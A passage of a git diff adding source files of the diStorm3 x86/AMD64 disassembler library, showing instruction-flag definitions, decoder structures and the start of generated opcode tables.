+/* The instruction's mnemonic depends on the mod value of the ModR/M byte (mod=11, mod!=11). */
+#define INST_MNEMONIC_MODRM_BASED (1 << 19)
+/* The instruction uses a ModR/M byte which the MOD must be 11 (for registers operands only). */
+#define INST_MODRR_REQUIRED (1 << 20)
+/* The way of 3DNow! instructions are built, we have to handle their locating specially. Suffix imm8 tells which instruction it is. */
+#define INST_3DNOW_FETCH (1 << 21)
+/* The instruction needs two suffixes, one for the comparison type (imm8) and the second for its operation size indication (second mnemonic). */
+#define INST_PSEUDO_OPCODE (1 << 22)
+/* Invalid instruction at 64 bits decoding mode. */
+#define INST_INVALID_64BITS (1 << 23)
+/* Specific instruction can be promoted to 64 bits (without REX, it is promoted automatically). */
+#define INST_64BITS (1 << 24)
+/* Indicates the instruction must be REX prefixed in order to use 64 bits operands. */
+#define INST_PRE_REX (1 << 25)
+/* Third mnemonic is set. */
+#define INST_USE_EXMNEMONIC2 (1 << 26)
+/* Instruction is only valid in 64 bits decoding mode. */
+#define INST_64BITS_FETCH (1 << 27)
+/* Forces that the ModRM-REG/Opcode field will be 0. (For EXTRQ). */
+#define INST_FORCE_REG0 (1 << 28)
+/* Indicates that instruction is encoded with a VEX prefix. */
+#define INST_PRE_VEX (1 << 29)
+/* Indicates that the instruction is encoded with a ModRM byte (REG field specifically). */
+#define INST_MODRM_INCLUDED (1 << 30)
+/* Indicates that the first (/destination) operand of the instruction is writable. */
+#define INST_DST_WR (1 << 31)
+
+#define INST_PRE_REPS (INST_PRE_REPNZ | INST_PRE_REP)
+#define INST_PRE_LOKREP_MASK (INST_PRE_LOCK | INST_PRE_REPNZ | INST_PRE_REP)
+#define INST_PRE_SEGOVRD_MASK32 (INST_PRE_CS | INST_PRE_SS | INST_PRE_DS | INST_PRE_ES)
+#define INST_PRE_SEGOVRD_MASK64 (INST_PRE_FS | INST_PRE_GS)
+#define INST_PRE_SEGOVRD_MASK (INST_PRE_SEGOVRD_MASK32 | INST_PRE_SEGOVRD_MASK64)
+
+/* Extended flags for VEX: */
+/* Indicates that the instruction might have VEX.L encoded. */
+#define INST_VEX_L (1)
+/* Indicates that the instruction might have VEX.W encoded. */
+#define INST_VEX_W (1 << 1)
+/* Indicates that the mnemonic of the instruction is based on the VEX.W bit. */
+#define INST_MNEMONIC_VEXW_BASED (1 << 2)
+/* Indicates that the mnemonic of the instruction is based on the VEX.L bit. */
+#define INST_MNEMONIC_VEXL_BASED (1 << 3)
+/* Forces the instruction to be encoded with VEX.L, otherwise it's undefined. */
+#define INST_FORCE_VEXL (1 << 4)
+/*
+ * Indicates that the instruction is based on the MOD field of the ModRM byte.
+ * (MOD==11: got the right instruction, else skip +4 in prefixed table for the correct instruction).
+ */
+#define INST_MODRR_BASED (1 << 5)
+/* Indicates that the instruction doesn't use the VVVV field of the VEX prefix, if it does then it's undecodable. */
+#define INST_VEX_V_UNUSED (1 << 6)
+
+/* Indication that the instruction is privileged (Ring 0), this should be checked on the opcodeId field. */
+#define OPCODE_ID_PRIVILEGED ((uint16_t)0x8000)
+
+/*
+ * Indicates which operand is being decoded.
+ * Destination (1st), Source (2nd), op3 (3rd), op4 (4th).
+ * Used to set the operands' fields in the _DInst structure!
+ */
+typedef enum {ONT_NONE = -1, ONT_1 = 0, ONT_2 = 1, ONT_3 = 2, ONT_4 = 3} _OperandNumberType;
+
+/* CPU Flags that instructions modify, test or undefine, in compacted form (CF,PF,AF,ZF,SF are 1:1 map to EFLAGS). */
+#define D_COMPACT_CF 1 /* Carry */
+#define D_COMPACT_PF 4 /* Parity */
+#define D_COMPACT_AF 0x10 /* Auxiliary */
+#define D_COMPACT_ZF 0x40 /* Zero */
+#define D_COMPACT_SF 0x80 /* Sign */
+/* The following flags have to be translated to EFLAGS. */
+#define D_COMPACT_IF 2 /* Interrupt */
+#define D_COMPACT_DF 8 /* Direction */
+#define D_COMPACT_OF 0x20 /* Overflow */
+
+/* The mask of flags that are already compatible with EFLAGS. */
+#define D_COMPACT_SAME_FLAGS (D_COMPACT_CF | D_COMPACT_PF | D_COMPACT_AF | D_COMPACT_ZF | D_COMPACT_SF)
+
+/*
+ * In order to save more space for storing the DB statically,
+ * I came up with another level of shared info.
+ * Because I saw that most of the information that instructions use repeats itself.
+ *
+ * Info about the instruction, source/dest types, meta and flags.
+ * _InstInfo points to a table of _InstSharedInfo.
+ */
+typedef struct {
+ uint8_t flagsIndex; /* An index into FlagsTables */
+ uint8_t s, d; /* OpType. */
+ uint8_t meta; /* Hi 5 bits = Instruction set class | Lo 3 bits = flow control flags. */
+ /*
+ * The following are CPU flag masks that the instruction changes.
+ * The flags are compacted so 8 bits representation is enough.
+ * They will be expanded in runtime to be compatible to EFLAGS.
+ */
+ uint8_t modifiedFlagsMask;
+ uint8_t testedFlagsMask;
+ uint8_t undefinedFlagsMask;
+} _InstSharedInfo;
+
+/*
+ * This structure is used for the instructions DB and NOT for the disassembled result code!
+ * This is the BASE structure, there are extensions to this structure below.
+ */
+typedef struct {
+ uint16_t sharedIndex; /* An index into the SharedInfoTable. */
+ uint16_t opcodeId; /* The opcodeId is really a byte-offset into the mnemonics table. MSB is a privileged indication. */
+} _InstInfo;
+
+/*
+ * There are merely few instructions which need a second mnemonic for 32 bits.
+ * Or a third for 64 bits. Therefore sometimes the second mnemonic is empty but not the third.
+ * In all decoding modes the first mnemonic is the default.
+ * A flag will indicate it uses another mnemonic.
+ *
+ * There are a couple of (SSE4) instructions in the whole DB which need both op3 and 3rd mnemonic for 64bits,
+ * therefore, I decided to make the extended structure contain all extra info in the same structure.
+ * There are a few instructions (SHLD/SHRD/IMUL and SSE too) which use third operand (or a fourth).
+ * A flag will indicate it uses a third/fourth operand.
+ */
+typedef struct {
+ /* Base structure (doesn't get accessed directly from code). */
+ _InstInfo BASE;
+
+ /* Extended starts here. */
+ uint8_t flagsEx; /* 8 bits are enough, in the future we might make it a bigger integer. */
+ uint8_t op3, op4; /* OpType. */
+ uint16_t opcodeId2, opcodeId3;
+} _InstInfoEx;
+
+/* Trie data structure node type: */
+typedef enum {
+ INT_NOTEXISTS = 0, /* Not exists. */
+ INT_INFO = 1, /* It's an instruction info. */
+ INT_INFOEX,
+ INT_LIST_GROUP,
+ INT_LIST_FULL,
+ INT_LIST_DIVIDED,
+ INT_LIST_PREFIXED
+} _InstNodeType;
+
+/* Used to check instType < INT_INFOS, means we got an inst-info. Cause it has to be only one of them. */
+#define INT_INFOS (INT_LIST_GROUP)
+
+/* Instruction node is treated as { int index:13; int type:3; } */
+typedef uint16_t _InstNode;
+
+_InstInfo* inst_lookup(_CodeInfo* ci, _PrefixState* ps);
+_InstInfo* inst_lookup_3dnow(_CodeInfo* ci);
+
+#endif /* INSTRUCTIONS_H */
diff --git a/source/distorm/insts.c b/source/distorm/insts.c
new file mode 100644
index 0000000..a081a2d
--- /dev/null
+++ b/source/distorm/insts.c
@@ -0,0 +1,7939 @@
+/*
+insts.c
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#include "config.h"
+#include "insts.h"
+#include "instructions.h"
+
+
+/*
+* GENERATED BY disOps at Sun Jul 09 21:22:14 2017
+*/
+
+_InstInfo II_MOVSXD = /*II*/{ 0x1d3, 10027 };
+_InstInfo II_NOP = /*II*/{ 0x53, 581 };
+_InstInfo II_PAUSE = /*II*/{ 0x88, 10035 };
+_InstInfo II_WAIT = /*II*/{ 0x53, 10042 };
+_InstInfo II_RDRAND = /*II*/{ 0x1d4, 10048 };
+_InstInfo II_3DNOW = /*II*/{ 0x1d5, 10056 };
+
+_iflags FlagsTable[101] = {
+ 0x80000011,
+ 0x80000000,
+ 0x800400,
+ 0x80800400,
+ 0x800080,
+ 0x800100,
+ 0x80800100,
+ 0x800200,
+ 0x80800200,
+ 0x800000,
+ 0x1,
+ 0x0,
+ 0x80800000,
+ 0x1000000,
+ 0x81000000,
+ 0x808000,
+ 0x800001,
+ 0x80020001,
+ 0x1002000,
+ 0x60,
+ 0x64,
+ 0x80000001,
+ 0x4010000,
+ 0x1008000,
+ 0x80000060,
+ 0x83000064,
+ 0x3000064,
+ 0x83000000,
+ 0x3008000,
+ 0x200,
+ 0xc000,
+ 0x4014000,
+ 0x8,
+ 0x81000009,
+ 0x9,
+ 0x80000009,
+ 0x1000808,
+ 0x81000808,
+ 0x80020009,
+ 0x1001008,
+ 0x81001008,
+ 0x80000019,
+ 0x3000009,
+ 0x83000009,
+ 0x83000008,
+ 0xc0000011,
+ 0x40000001,
+ 0xc0800011,
+ 0x40800001,
+ 0xc0000019,
+ 0xc1000001,
+ 0xc0000001,
+ 0xc0000003,
+ 0x41000000,
+ 0x40000000,
+ 0x40000008,
+ 0x40000009,
+ 0x41000001,
+ 0x43000001,
+ 0x40000003,
+ 0x48000000,
+ 0x200009,
+ 0x20000009,
+ 0x60020009,
+ 0x60000009,
+ 0x80090009,
+ 0x200b0009,
+ 0x20020009,
+ 0x80100009,
+ 0x21100009,
+ 0x87000009,
+ 0x20009,
+ 0x20000008,
+ 0x1000009,
+ 0x10020009,
+ 0x160009,
+ 0x100009,
+ 0x47000009,
+ 0x47090009,
+ 0x40090009,
+ 0x80002009,
+ 0xc0000009,
+ 0x2001,
+ 0x80002001,
+ 0x410009,
+ 0x20420009,
+ 0x20060009,
+ 0x120009,
+ 0x21020009,
+ 0xc7000019,
+ 0x20100009,
+ 0xc0002009,
+ 0x40002008,
+ 0xc0000000,
+ 0xc0002008,
+ 0x4020009,
+ 0x40100009,
+ 0x60120009,
+ 0x41000009,
+ 0x83000001,
+ 0x200001
+};
+
+_InstNode Table_0F = 256;
+_InstNode Table_0F_0F = 1440;
+_InstNode Table_0F_38 = 1896;
+_InstNode Table_0F_3A = 2152;
+
+_InstInfo InstInfos[1246] = {
+ /*II_00*/{ 0x0, 11 },
+ /*II_01*/{ 0x1, 11 },
+ /*II_02*/{ 0x2, 11 },
+ /*II_03*/{ 0x3, 11 },
+ /*II_04*/{ 0x4, 11 },
+ /*II_05*/{ 0x5, 11 },
+ /*II_06*/{ 0x6, 16 },
+ /*II_07*/{ 0x7, 22 },
+ /*II_08*/{ 0x8, 27 },
+ /*II_09*/{ 0x9, 27 },
+ /*II_0A*/{ 0xa, 27 },
+ /*II_0B*/{ 0xb, 27 },
+ /*II_0C*/{ 0xc, 27 },
+ /*II_0D*/{ 0xd, 27 },
+ /*II_0E*/{ 0xe, 16 },
+ /*II_10*/{ 0xf, 31 },
+ /*II_11*/{ 0x10, 31 },
+ /*II_12*/{ 0x11, 31 },
+ /*II_13*/{ 0x12, 31 },
+ /*II_14*/{ 0x13, 31 },
+ /*II_15*/{ 0x14, 31 },
+ /*II_16*/{ 0x15, 16 },
+ /*II_17*/{ 0x16, 22 },
+ /*II_18*/{ 0xf, 36 },
+ /*II_19*/{ 0x10, 36 },
+ /*II_1A*/{ 0x11, 36 },
+ /*II_1B*/{ 0x12, 36 },
+ /*II_1C*/{ 0x13, 36 },
+ /*II_1D*/{ 0x14, 36 },
+ /*II_1E*/{ 0x17, 16 },
+ /*II_1F*/{ 0x18, 22 },
+ /*II_20*/{ 0x19, 41 },
+ /*II_21*/{ 0x1a, 41 },
+ /*II_22*/{ 0x1b, 41 },
+ /*II_23*/{ 0x1c, 41 },
+ /*II_24*/{ 0x1d, 41 },
+ /*II_25*/{ 0x1e, 41 },
+ /*II_27*/{ 0x1f, 46 },
+ /*II_28*/{ 0x0, 51 },
+ /*II_29*/{ 0x1, 51 },
+ /*II_2A*/{ 0x2, 51 },
+ /*II_2B*/{ 0x3, 51 },
+ /*II_2C*/{ 0x4, 51 },
+ /*II_2D*/{ 0x5, 51 },
+ /*II_2F*/{ 0x1f, 56 },
+ /*II_30*/{ 0x20, 61 },
+ /*II_31*/{ 0x21, 61 },
+ /*II_32*/{ 0x22, 61 },
+ /*II_33*/{ 0x23, 61 },
+ /*II_34*/{ 0x24, 61 },
+ /*II_35*/{ 0x25, 61 },
+ /*II_37*/{ 0x26, 66 },
+ /*II_38*/{ 0x27, 71 },
+ /*II_39*/{ 0x28, 71 },
+ /*II_3A*/{ 0x29, 71 },
+ /*II_3B*/{ 0x2a, 71 },
+ /*II_3C*/{ 0x2b, 71 },
+ /*II_3D*/{ 0x2c, 71 },
+ /*II_3F*/{ 0x26, 76 },
+ /*II_40*/{ 0x2d, 81 },
+ /*II_40*/{ 0x2d, 81 },
+ /*II_40*/{ 0x2d, 81 },
+ /*II_40*/{ 0x2d, 81 },
+ /*II_40*/{ 0x2d, 81 },
+ /*II_40*/{ 0x2d, 81 },
+ /*II_40*/{ 0x2d, 81 },
+ /*II_40*/{ 0x2d, 81 },
+ /*II_48*/{ 0x2d, 86 },
+ /*II_48*/{ 0x2d, 86 },
+ /*II_48*/{ 0x2d, 86 },
+ /*II_48*/{ 0x2d, 86 },
+ /*II_48*/{ 0x2d, 86 },
+ /*II_48*/{ 0x2d, 86 },
+ /*II_48*/{ 0x2d, 86 },
+ /*II_48*/{ 0x2d, 86 },
+ /*II_50*/{ 0x2e, 16 },
+ /*II_50*/{ 0x2e, 16 },
+ /*II_50*/{ 0x2e, 16 },
+ /*II_50*/{ 0x2e, 16 },
+ /*II_50*/{ 0x2e, 16 },
+ /*II_50*/{ 0x2e, 16 },
+ /*II_50*/{ 0x2e, 16 },
+ /*II_50*/{ 0x2e, 16 },
+ /*II_58*/{ 0x2f, 22 },
+ /*II_58*/{ 0x2f, 22 },
+ /*II_58*/{ 0x2f, 22 },
+ /*II_58*/{ 0x2f, 22 },
+ /*II_58*/{ 0x2f, 22 },
+ /*II_58*/{ 0x2f, 22 },
+ /*II_58*/{ 0x2f, 22 },
+ /*II_58*/{ 0x2f, 22 },
+ /*II_60*/{ 0x30, 91 },
+ /*II_61*/{ 0x30, 98 },
+ /*II_62*/{ 0x31, 104 },
+ /*II_63*/{ 0x32, 111 },
+ /*II_68*/{ 0x33, 16 },
+ /*II_6A*/{ 0x35, 16 },
+ /*II_6C*/{ 0x36, 32891 },
+ /*II_6D*/{ 0x37, 32891 },
+ /*II_6E*/{ 0x38, 32896 },
+ /*II_6F*/{ 0x39, 32896 },
+ /*II_70*/{ 0x3a, 134 },
+ /*II_71*/{ 0x3a, 138 },
+ /*II_72*/{ 0x3b, 143 },
+ /*II_73*/{ 0x3b, 147 },
+ /*II_74*/{ 0x3c, 152 },
+ /*II_75*/{ 0x3c, 156 },
+ /*II_76*/{ 0x3d, 161 },
+ /*II_77*/{ 0x3d, 166 },
+ /*II_78*/{ 0x3e, 170 },
+ /*II_79*/{ 0x3e, 174 },
+ /*II_7A*/{ 0x3f, 179 },
+ /*II_7B*/{ 0x3f, 183 },
+ /*II_7C*/{ 0x40, 188 },
+ /*II_7D*/{ 0x40, 192 },
+ /*II_7E*/{ 0x41, 197 },
+ /*II_7F*/{ 0x41, 202 },
+ /*II_84*/{ 0x42, 206 },
+ /*II_85*/{ 0x43, 206 },
+ /*II_86*/{ 0x44, 212 },
+ /*II_87*/{ 0x45, 212 },
+ /*II_88*/{ 0x46, 218 },
+ /*II_89*/{ 0x47, 218 },
+ /*II_8A*/{ 0x48, 218 },
+ /*II_8B*/{ 0x49, 218 },
+ /*II_8C*/{ 0x4a, 218 },
+ /*II_8D*/{ 0x4b, 223 },
+ /*II_8E*/{ 0x4c, 218 },
+ /*II_90*/{ 0x4d, 212 },
+ /*II_91*/{ 0x4d, 212 },
+ /*II_92*/{ 0x4d, 212 },
+ /*II_93*/{ 0x4d, 212 },
+ /*II_94*/{ 0x4d, 212 },
+ /*II_95*/{ 0x4d, 212 },
+ /*II_96*/{ 0x4d, 212 },
+ /*II_97*/{ 0x4d, 212 },
+ /*II_9A*/{ 0x4f, 260 },
+ /*II_9C*/{ 0x50, 270 },
+ /*II_9D*/{ 0x51, 277 },
+ /*II_9E*/{ 0x52, 283 },
+ /*II_9F*/{ 0x53, 289 },
+ /*II_A0*/{ 0x54, 218 },
+ /*II_A1*/{ 0x55, 218 },
+ /*II_A2*/{ 0x56, 218 },
+ /*II_A3*/{ 0x57, 218 },
+ /*II_A4*/{ 0x58, 295 },
+ /*II_A5*/{ 0x59, 295 },
+ /*II_A6*/{ 0x5a, 301 },
+ /*II_A7*/{ 0x5b, 301 },
+ /*II_A8*/{ 0x5c, 206 },
+ /*II_A9*/{ 0x5d, 206 },
+ /*II_AA*/{ 0x5e, 307 },
+ /*II_AB*/{ 0x5f, 307 },
+ /*II_AC*/{ 0x60, 313 },
+ /*II_AD*/{ 0x61, 313 },
+ /*II_AE*/{ 0x62, 319 },
+ /*II_AF*/{ 0x63, 319 },
+ /*II_B0*/{ 0x64, 218 },
+ /*II_B0*/{ 0x64, 218 },
+ /*II_B0*/{ 0x64, 218 },
+ /*II_B0*/{ 0x64, 218 },
+ /*II_B0*/{ 0x64, 218 },
+ /*II_B0*/{ 0x64, 218 },
+ /*II_B0*/{ 0x64, 218 },
+ /*II_B0*/{ 0x64, 218 },
+ /*II_B8*/{ 0x65, 218 },
+ /*II_B8*/{ 0x65, 218 },
+ /*II_B8*/{ 0x65, 218 },
+ /*II_B8*/{ 0x65, 218 },
+ /*II_B8*/{ 0x65, 218 },
+ /*II_B8*/{ 0x65, 218 },
+ /*II_B8*/{ 0x65, 218 },
+ /*II_B8*/{ 0x65, 218 },
+ /*II_C2*/{ 0x66, 325 },
+ /*II_C3*/{ 0x67, 325 },
+ /*II_C4*/{ 0x68, 330 },
+ /*II_C5*/{ 0x68, 335 },
+ /*II_C8*/{ 0x69, 340 },
+ /*II_C9*/{ 0x6a, 347 },
+ /*II_CA*/{ 0x6b, 354 },
+ /*II_CB*/{ 0x6c, 354 },
+ /*II_CC*/{ 0x6d, 360 },
+ /*II_CD*/{ 0x6e, 367 },
+ /*II_CE*/{ 0x6f, 372 },
+ /*II_CF*/{ 0x70, 33146 },
+ /*II_D4*/{ 0x71, 384 },
+ /*II_D5*/{ 0x71, 389 },
+ /*II_D6*/{ 0x72, 394 },
+ /*II_D7*/{ 0x73, 400 },
+ /*II_E0*/{ 0x74, 406 },
+ /*II_E1*/{ 0x74, 414 },
+ /*II_E2*/{ 0x75, 421 },
+ /*II_E4*/{ 0x77, 33215 },
+ /*II_E5*/{ 0x78, 33215 },
+ /*II_E6*/{ 0x79, 33219 },
+ /*II_E7*/{ 0x7a, 33219 },
+ /*II_E8*/{ 0x7b, 456 },
+ /*II_E9*/{ 0x7c, 462 },
+ /*II_EA*/{ 0x7d, 467 },
+ /*II_EB*/{ 0x7e, 462 },
+ /*II_EC*/{ 0x7f, 33215 },
+ /*II_ED*/{ 0x80, 33215 },
+ /*II_EE*/{ 0x81, 33219 },
+ /*II_EF*/{ 0x82, 33219 },
+ /*II_F1*/{ 0x6d, 476 },
+ /*II_F4*/{ 0x53, 33250 },
+ /*II_F5*/{ 0x83, 487 },
+ /*II_F8*/{ 0x83, 492 },
+ /*II_F9*/{ 0x83, 497 },
+ /*II_FA*/{ 0x84, 33270 },
+ /*II_FB*/{ 0x84, 33275 },
+ /*II_FC*/{ 0x85, 512 },
+ /*II_FD*/{ 0x85, 517 },
+ /*II_0F_02*/{ 0x86, 522 },
+ /*II_0F_03*/{ 0x86, 527 },
+ /*II_0F_05*/{ 0x87, 532 },
+ /*II_0F_06*/{ 0x88, 33309 },
+ /*II_0F_07*/{ 0x87, 547 },
+ /*II_0F_08*/{ 0x88, 33323 },
+ /*II_0F_09*/{ 0x88, 33329 },
+ /*II_0F_0B*/{ 0x89, 569 },
+ /*II_0F_0E*/{ 0x8a, 574 },
+ /*II_0F_1F*/{ 0x8b, 581 },
+ /*II_0F_20*/{ 0x8c, 32986 },
+ /*II_0F_21*/{ 0x8d, 32986 },
+ /*II_0F_22*/{ 0x8e, 32986 },
+ /*II_0F_23*/{ 0x8f, 32986 },
+ /*II_0F_30*/{ 0x88, 33354 },
+ /*II_0F_31*/{ 0x88, 33361 },
+ /*II_0F_32*/{ 0x88, 33368 },
+ /*II_0F_33*/{ 0x88, 33375 },
+ /*II_0F_34*/{ 0x87, 614 },
+ /*II_0F_35*/{ 0x87, 624 },
+ /*II_0F_37*/{ 0x90, 633 },
+ /*II_0F_40*/{ 0x91, 641 },
+ /*II_0F_41*/{ 0x91, 648 },
+ /*II_0F_42*/{ 0x92, 656 },
+ /*II_0F_43*/{ 0x92, 663 },
+ /*II_0F_44*/{ 0x93, 671 },
+ /*II_0F_45*/{ 0x93, 678 },
+ /*II_0F_46*/{ 0x94, 686 },
+ /*II_0F_47*/{ 0x94, 694 },
+ /*II_0F_48*/{ 0x95, 701 },
+ /*II_0F_49*/{ 0x95, 708 },
+ /*II_0F_4A*/{ 0x96, 716 },
+ /*II_0F_4B*/{ 0x96, 723 },
+ /*II_0F_4C*/{ 0x97, 731 },
+ /*II_0F_4D*/{ 0x97, 738 },
+ /*II_0F_4E*/{ 0x98, 746 },
+ /*II_0F_4F*/{ 0x98, 754 },
+ /*II_0F_80*/{ 0x99, 134 },
+ /*II_0F_81*/{ 0x99, 138 },
+ /*II_0F_82*/{ 0x9a, 143 },
+ /*II_0F_83*/{ 0x9a, 147 },
+ /*II_0F_84*/{ 0x9b, 152 },
+ /*II_0F_85*/{ 0x9b, 156 },
+ /*II_0F_86*/{ 0x9c, 161 },
+ /*II_0F_87*/{ 0x9c, 166 },
+ /*II_0F_88*/{ 0x9d, 170 },
+ /*II_0F_89*/{ 0x9d, 174 },
+ /*II_0F_8A*/{ 0x9e, 179 },
+ /*II_0F_8B*/{ 0x9e, 183 },
+ /*II_0F_8C*/{ 0x9f, 188 },
+ /*II_0F_8D*/{ 0x9f, 192 },
+ /*II_0F_8E*/{ 0xa0, 197 },
+ /*II_0F_8F*/{ 0xa0, 202 },
+ /*II_0F_90*/{ 0xa1, 761 },
+ /*II_0F_91*/{ 0xa1, 767 },
+ /*II_0F_92*/{ 0xa2, 774 },
+ /*II_0F_93*/{ 0xa2, 780 },
+ /*II_0F_94*/{ 0xa3, 787 },
+ /*II_0F_95*/{ 0xa3, 793 },
+ /*II_0F_96*/{ 0xa4, 800 },
+ /*II_0F_97*/{ 0xa4, 807 },
+ /*II_0F_98*/{ 0xa5, 813 },
+ /*II_0F_99*/{ 0xa5, 819 },
+ /*II_0F_9A*/{ 0xa6, 826 },
+ /*II_0F_9B*/{ 0xa6, 832 },
+ /*II_0F_9C*/{ 0xa7, 839 },
+ /*II_0F_9D*/{ 0xa7, 845 },
+ /*II_0F_9E*/{ 0xa8, 852 },
+ /*II_0F_9F*/{ 0xa8, 859 },
+ /*II_0F_A0*/{ 0xa9, 16 },
+ /*II_0F_A1*/{ 0xaa, 22 },
+ /*II_0F_A2*/{ 0x88, 865 },
+ /*II_0F_A3*/{ 0xab, 872 },
+ /*II_0F_A8*/{ 0xad, 16 },
+ /*II_0F_A9*/{ 0xae, 22 },
+ /*II_0F_AA*/{ 0xaf, 882 },
+ /*II_0F_AB*/{ 0xb0, 887 },
+ /*II_0F_AF*/{ 0xb1, 117 },
+ /*II_0F_B0*/{ 0xb2, 898 },
+ /*II_0F_B1*/{ 0xb3, 898 },
+ /*II_0F_B2*/{ 0xb4, 907 },
+ /*II_0F_B3*/{ 0xb0, 912 },
+ /*II_0F_B4*/{ 0xb4, 917 },
+ /*II_0F_B5*/{ 0xb4, 922 },
+ /*II_0F_B6*/{ 0xb5, 927 },
+ /*II_0F_B7*/{ 0xb6, 927 },
+ /*II_0F_B9*/{ 0x89, 569 },
+ /*II_0F_BB*/{ 0xb0, 934 },
+ /*II_0F_BE*/{ 0xb5, 939 },
+ /*II_0F_BF*/{ 0xb6, 939 },
+ /*II_0F_C0*/{ 0xb2, 946 },
+ /*II_0F_C1*/{ 0xb3, 946 },
+ /*II_0F_C3*/{ 0xb7, 952 },
+ /*II_0F_C8*/{ 0xb8, 960 },
+ /*II_0F_C8*/{ 0xb8, 960 },
+ /*II_0F_C8*/{ 0xb8, 960 },
+ /*II_0F_C8*/{ 0xb8, 960 },
+ /*II_0F_C8*/{ 0xb8, 960 },
+ /*II_0F_C8*/{ 0xb8, 960 },
+ /*II_0F_C8*/{ 0xb8, 960 },
+ /*II_0F_C8*/{ 0xb8, 960 },
+ /*II_80_00*/{ 0xb9, 11 },
+ /*II_80_01*/{ 0xba, 27 },
+ /*II_80_02*/{ 0xbb, 31 },
+ /*II_80_03*/{ 0xbb, 36 },
+ /*II_80_04*/{ 0xbc, 41 },
+ /*II_80_05*/{ 0xb9, 51 },
+ /*II_80_06*/{ 0xbd, 61 },
+ /*II_80_07*/{ 0xbe, 71 },
+ /*II_81_00*/{ 0xbf, 11 },
+ /*II_81_01*/{ 0xc0, 27 },
+ /*II_81_02*/{ 0xc1, 31 },
+ /*II_81_03*/{ 0xc1, 36 },
+ /*II_81_04*/{ 0xc2, 41 },
+ /*II_81_05*/{ 0xbf, 51 },
+ /*II_81_06*/{ 0xc3, 61 },
+ /*II_81_07*/{ 0xc4, 71 },
+ /*II_82_00*/{ 0xc5, 11 },
+ /*II_82_01*/{ 0xc6, 27 },
+ /*II_82_02*/{ 0xc7, 31 },
+ /*II_82_03*/{ 0xc7, 36 },
+ /*II_82_04*/{ 0xc8, 41 },
+ /*II_82_05*/{ 0xc5, 51 },
+ /*II_82_06*/{ 0xc9, 61 },
+ /*II_82_07*/{ 0xca, 71 },
+ /*II_83_00*/{ 0xcb, 11 },
+ /*II_83_01*/{ 0xcc, 27 },
+ /*II_83_02*/{ 0xcd, 31 },
+ /*II_83_03*/{ 0xcd, 36 },
+ /*II_83_04*/{ 0xce, 41 },
+ /*II_83_05*/{ 0xcb, 51 },
+ /*II_83_06*/{ 0xcf, 61 },
+ /*II_83_07*/{ 0xd0, 71 },
+ /*II_8F_00*/{ 0xd1, 22 },
+ /*II_C0_00*/{ 0xd2, 967 },
+ /*II_C0_01*/{ 0xd2, 972 },
+ /*II_C0_02*/{ 0xd3, 977 },
+ /*II_C0_03*/{ 0xd3, 982 },
+ /*II_C0_04*/{ 0xd4, 987 },
+ /*II_C0_05*/{ 0xd4, 992 },
+ /*II_C0_06*/{ 0xd4, 997 },
+ /*II_C0_07*/{ 0xd4, 1002 },
+ /*II_C1_00*/{ 0xd5, 967 },
+ /*II_C1_01*/{ 0xd5, 972 },
+ /*II_C1_02*/{ 0xd6, 977 },
+ /*II_C1_03*/{ 0xd6, 982 },
+ /*II_C1_04*/{ 0xd7, 987 },
+ /*II_C1_05*/{ 0xd7, 992 },
+ /*II_C1_06*/{ 0xd7, 997 },
+ /*II_C1_07*/{ 0xd7, 1002 },
+ /*II_C6_00*/{ 0xd8, 218 },
+ /*II_C6_F8*/{ 0xd9, 1007 },
+ /*II_C7_00*/{ 0xda, 218 },
+ /*II_C7_F8*/{ 0xdb, 1015 },
+ /*II_D0_00*/{ 0xdc, 967 },
+ /*II_D0_01*/{ 0xdc, 972 },
+ /*II_D0_02*/{ 0xdd, 977 },
+ /*II_D0_03*/{ 0xdd, 982 },
+ /*II_D0_04*/{ 0xde, 987 },
+ /*II_D0_05*/{ 0xde, 992 },
+ /*II_D0_06*/{ 0xde, 997 },
+ /*II_D0_07*/{ 0xde, 1002 },
+ /*II_D1_00*/{ 0xdf, 967 },
+ /*II_D1_01*/{ 0xdf, 972 },
+ /*II_D1_02*/{ 0xe0, 977 },
+ /*II_D1_03*/{ 0xe0, 982 },
+ /*II_D1_04*/{ 0xe1, 987 },
+ /*II_D1_05*/{ 0xe1, 992 },
+ /*II_D1_06*/{ 0xe1, 997 },
+ /*II_D1_07*/{ 0xe1, 1002 },
+ /*II_D2_00*/{ 0xe2, 967 },
+ /*II_D2_01*/{ 0xe2, 972 },
+ /*II_D2_02*/{ 0xe3, 977 },
+ /*II_D2_03*/{ 0xe3, 982 },
+ /*II_D2_04*/{ 0xe4, 987 },
+ /*II_D2_05*/{ 0xe4, 992 },
+ /*II_D2_06*/{ 0xe4, 997 },
+ /*II_D2_07*/{ 0xe4, 1002 },
+ /*II_D3_00*/{ 0xe5, 967 },
+ /*II_D3_01*/{ 0xe5, 972 },
+ /*II_D3_02*/{ 0xe6, 977 },
+ /*II_D3_03*/{ 0xe6, 982 },
+ /*II_D3_04*/{ 0xe7, 987 },
+ /*II_D3_05*/{ 0xe7, 992 },
+ /*II_D3_06*/{ 0xe7, 997 },
+ /*II_D3_07*/{ 0xe7, 1002 },
+ /*II_D8_00*/{ 0xe8, 1023 },
+ /*II_D8_01*/{ 0xe8, 1029 },
+ /*II_D8_02*/{ 0xe8, 1035 },
+ /*II_D8_03*/{ 0xe8, 1041 },
+ /*II_D8_04*/{ 0xe8, 1048 },
+ /*II_D8_05*/{ 0xe8, 1054 },
+ /*II_D8_06*/{ 0xe8, 1061 },
+ /*II_D8_07*/{ 0xe8, 1067 },
+ /*II_D8_C0*/{ 0xe9, 1023 },
+ /*II_D8_C0*/{ 0xe9, 1023 },
+ /*II_D8_C0*/{ 0xe9, 1023 },
+ /*II_D8_C0*/{ 0xe9, 1023 },
+ /*II_D8_C0*/{ 0xe9, 1023 },
+ /*II_D8_C0*/{ 0xe9, 1023 },
+ /*II_D8_C0*/{ 0xe9, 1023 },
+ /*II_D8_C0*/{ 0xe9, 1023 },
+ /*II_D8_C8*/{ 0xe9, 1029 },
+ /*II_D8_C8*/{ 0xe9, 1029 },
+ /*II_D8_C8*/{ 0xe9, 1029 },
+ /*II_D8_C8*/{ 0xe9, 1029 },
+ /*II_D8_C8*/{ 0xe9, 1029 },
+ /*II_D8_C8*/{ 0xe9, 1029 },
+ /*II_D8_C8*/{ 0xe9, 1029 },
+ /*II_D8_C8*/{ 0xe9, 1029 },
+ /*II_D8_D0*/{ 0xea, 1035 },
